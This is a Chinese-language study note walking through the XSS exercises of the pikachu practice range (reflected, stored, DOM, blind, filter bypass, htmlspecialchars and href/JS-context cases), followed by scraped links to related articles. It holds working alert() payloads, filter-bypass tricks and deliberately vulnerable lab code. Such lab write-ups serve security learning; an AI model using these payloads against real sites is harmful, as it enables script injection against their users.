一、反射型XSS

1、get型

源码前后区别


<form method="get">
<input class="xssr_in" type="text" name="message" maxlength="20">
<input class="xssr_submit" type="submit" value="submit" name="submit">
</form>
<p class="notice">输入'kobe'试试-_-</p>

<form method="get">
<input class="xssr_in" type="text" name="message" maxlength="20">
<input class="xssr_submit" type="submit" value="submit" name="submit">
</form>
<p class="notice">who is 123,i don't care!</p>

抓包

app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201217191043.png?1609079597256

可以修改数据,且可以绕过前端校验。

输入<script>alert('xss')</script>

app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201217190732.png?1609079597257

出现弹窗

疑问,与sql注入的get注入有什么区别

2、post型

输入账号密码

抓包

app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201217192302.png?1609079597257

post型

与get类似

输入<script>alert('xss')</script>

出现弹窗

二、存储型

1、输入123,并刷新

发现,123已经存进留言列表

app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201218110758.png?1609079597258

2、输入特殊字符,观察有无过滤

'<>?"/6666

没有任何过滤

app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201218111355.png?1609079597258

3、构造payload

输入<script>alert('xss')</script>

发现无论刷新多少次,都会出现弹窗

三、DOM型

1、输入123,点击click me,再点击what do you see

1、输入特殊字符,观察有无过滤

'"<>?&6666

2、查看源码

<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行
</script>

JS代码,它通过 getElementById 获取到了标签 Id 为 text的内容赋值给str, 然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中,a标签会写到 Id 为 dom的 div 标签中

3、构造payload

' onclick=alert("xss")>

what do you see?

<a href='"+#' onclick=alert("xss")>+"'>what do you see?

分为两部分 <a href='"+#' onclick=alert("xss")> 和 +"'>what do you see?

在第一部分中 '"+#'闭合,onclick=alert("xss")作为连接,

在第二部分中 +"'>what do you see?作为链接的触发,因此不能根据这个显示来判断有无过滤。

拓展

在第一部分中,只需要前后闭合即可

四、DOM型-x

1、查看源码

<script>
function domxss(){
var str = window.location.search;
var txss = decodeURIComponent(str.split("text=")[1]);
var xss = txss.replace(/\+/g,' ');
//alert(xss); document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行
</script>

定义了一个domxss函数。它$\color{red}{利用 window.location.search 获取浏览器中url的内容}$,然后赋值给 str,经过URL解码和字符串分隔,取出URL中的参数内容,再把 “+” 替换为 “ ”(空格),赋值给 xss,最后把 xss 拼接到 a 标签中,然后写到 Id 为 dom 的 div 标签中。

2、与之前相同

构造payload

' onclick=alert("xss")>

3、观察payload

发现在url中

app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201218205002.png?1609079597267

即,程序是在url中获得参数内容

五、XSS盲打

1、输入123456,123456。查看后台,查看后台源码

app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219112350.png?1609079597291

app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219112423.png?1609079597291

2、猜想,写恶意的脚本,能否成功执行,

<scritp>
alert("xss")
</scritp>

成功执行

六、xs过滤和绕过

1、测试那些符号或关键词被过滤掉了

输入

'<>?\"/6666

输出

别说这些''<>?\"/6666'的话,不要怕,就是干!

没有过滤符号

输入

<script>alert("xss")</script>

输出

别说这些'>'的话,不要怕,就是干!

猜测,过滤了script,尝试双写,绕过过滤

输入

<scr<script>ipt>alert("xss")</scr</script>ipt>

输出

别说这些'>'的话,不要怕,就是干!

尝试大小写绕过

输入

<sCriPt>alert("xss")</sCRipt>

输出

弹窗,成功绕过

七、htmlspecialchars

1、测试输入

输入

123456

输出

app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219121118.png?1609079597292

输入

'<>?\"/6666

输出

app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219122524.png?1609079597293

字符被实体化了

2、查看源码

判断为反射型xss,且是从url中获得参数

if(isset($_GET['submit'])){
if(empty($_GET['message'])){
$html.="<p class='notice'>输入点啥吧!</p>";
}else {
//使用了htmlspecialchars进行处理,是不是就没问题了呢,htmlspecialchars默认不对'处理
$message=htmlspecialchars($_GET['message']);
$html1.="<p class='notice'>你的输入已经被记录:</p>";
//输入的内容被处理后输出到了input标签的value属性里面,试试:' onclick='alert(111)'
// $html2.="<input class='input' type='text' name='inputvalue' readonly='readonly' value='{$message}' style='margin-left:120px;display:block;background-color:#c0c0c0;border-style:none;'/>";
$html2.="<a href='{$message}'>{$message}</a>";
}
}

3、尝试绕过

输入

'alert(“xss“)'

源码

![[Pasted image 20201219154508.png]]

输入

1' onclick='alert(1)'

成功弹窗

app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219154139.png?1609079597294

八、href输出

1、测试输入

输入123456,查看网页源码

app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219155343.png?1609079597294

并发现123456显示在url上

app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219161458.png?1609079597294

输入'<>?\"/6666,查看网页源码

app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219155549.png?1609079597294

有些字符被实体化了,仅剩' \ /

2、尝试构造payload

当输出在a标签里的href属性时,可以用js协议来执行js代码

javascript:alert(0)

成功弹窗

九、js输出

1、测试输入

输入123456,

没有输出

查看页面源码

<script>
$ms='123456';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
} }
</script>

输入'<>?\"/6666,查看网页源码

<script>
$ms=''<>?\"/6666';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}a }
</script>

没有过滤字符

2、尝试构造payload

'test'</script> <script> alert("xss")</script><script>

成功前后闭合,弹窗

pikachu靶场XSS详解的更多相关文章

  1. pikachu靶场-XSS

    .Tips: 一般查询接口容易出现反射型XSS,留言板容易出现存储型XSS 由于后台可能存在过滤措施,构造的script可能会被过滤掉,而无法生效,或者环境限制了执行(浏览器): 通过变化不同的scr ...

  2. XSS详解

    什么是XSS(跨站脚本攻击) XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码或者javascript代码,当用户浏览该页 ...

  3. Pentester中的XSS详解

    本次做的是Web For Pentester靶机里面的XSS题目,一共有9道题目. 关于靶机搭建参考这篇文章:渗透测试靶机的搭建 第1题(无过滤措施) 首先在后面输入xss: http://10.21 ...

  4. XSS详解【1】---基本概念和攻击原理

    这节主要讲述XSS的基本概念和攻击原理. 一 XSS基本概念 人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style She ...

  5. DOM XSS详解

    DOM XSS简介 DOM XSS与反射性XSS.存储型XSS的主要区别在于DOM XSS的XSS代码不需要服务端解析响应的直接参与,触发XSS的是浏览器端的DOM解析. DOM XSS复现 环境搭建 ...

  6. XSS与CSRF详解

    XSS与CSRF详解 随着Web2.0.社交网络.微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在Web平台上,Web业务的迅速发展也引起 ...

  7. DVWA(六):XSS-Reflected 反射型XSS全等级详解

    XSS 概念: 由于web应用程序对用户的输入过滤不严,通过html注入篡改网页,插入恶意脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击. XSS类型: Reflected(反射型):只是简单的 ...

  8. PHP开发中常见的安全问题详解和解决方法(如Sql注入、CSRF、Xss、CC等

    页面导航: 首页 → 网络编程 → PHP编程 → php技巧 → 正文内容 PHP安全 PHP开发中常见的安全问题详解和解决方法(如Sql注入.CSRF.Xss.CC等) 作者: 字体:[增加 减小 ...

  9. 第六天实验详解——dedecms通过xss漏洞写马

    第六天实验详解 **XSS跨站攻击的分类** XSS漏洞类型主要分为持久型和非持久型两种: 1. 非持久型XSS漏洞一般存在于URL参数中,需要访问黑客构造好的特定URL才能触发漏洞. 2. 持久型X ...

随机推荐

  1. [leetcode]118,119PascalsTriangle,杨辉三角1,2

    杨辉三角1Given numRows, generate the first numRows of Pascal's triangle.For example, given numRows = 5,R ...

  2. JavaDailyReports10_06

    今日收获: 一.所有引用类型变量的初始化一定要使用new 关键字定义声明,空指针异常的错误原因可能是变量没有初始化导致的. 每一个类体的数据成员一定要在实例化的同时赋值,用一个实例化的类实现问题中最小 ...

  3. Java学习日报7.7

    今天进一步学习了eclipse软件,遇到了几次程序运行不成功的问题,检查之后运行成功!明天继续学习程序逻辑控制!

  4. python在线练习

    不管学习那门语言都希望能做出实际的东西来,这个实际的东西当然就是项目啦,不用多说大家都知道学编程语言一定要做项目才行. 这里整理了70个Python实战项目列表,都有完整且详细的教程,你可以从中选择自 ...

  5. 技术基础 | 监测Apache Cassandra的简明方式——MCAC

    点击这里在GitHub上访问我们,以便深入了解DataStax的开源项目--Apache Cassandra指标收集器(Metric Collector for Apache Cassandra, o ...

  6. Interface注意事项

    Interface 成员声明 声明属性,默认static & final 声明方法,默认public interface Instrument { int VALUE = 5; // stat ...

  7. 2020DevOps状态报告——平台模型:扩展DevOps的新方法

    平台模型是我们在这个领域看到越来越多的方法,它源于负责产品或服务的端到端交付的产品团队的理念.如果只应用于单一的产品,或者几个产品,它的效果很好. 但如果有数百种产品或服务,把一个产品团队用于这些产品 ...

  8. [从源码学设计]蚂蚁金服SOFARegistry 之 服务注册和操作日志

    [从源码学设计]蚂蚁金服SOFARegistry之服务注册和操作日志 目录 [从源码学设计]蚂蚁金服SOFARegistry之服务注册和操作日志 0x00 摘要 0x01 整体业务流程 1.1 服务注 ...

  9. Java并发包源码学习系列:ReentrantLock可重入独占锁详解

    目录 基本用法介绍 继承体系 构造方法 state状态表示 获取锁 void lock()方法 NonfairSync FairSync 公平与非公平策略的差异 void lockInterrupti ...

  10. LeetCode167 两数之和 II - 输入有序数组

    给定一个已按照升序排列 的有序数组,找到两个数使得它们相加之和等于目标数. 函数应该返回这两个下标值 index1 和 index2,其中 index1 必须小于 index2. 说明: 返回的下标值 ...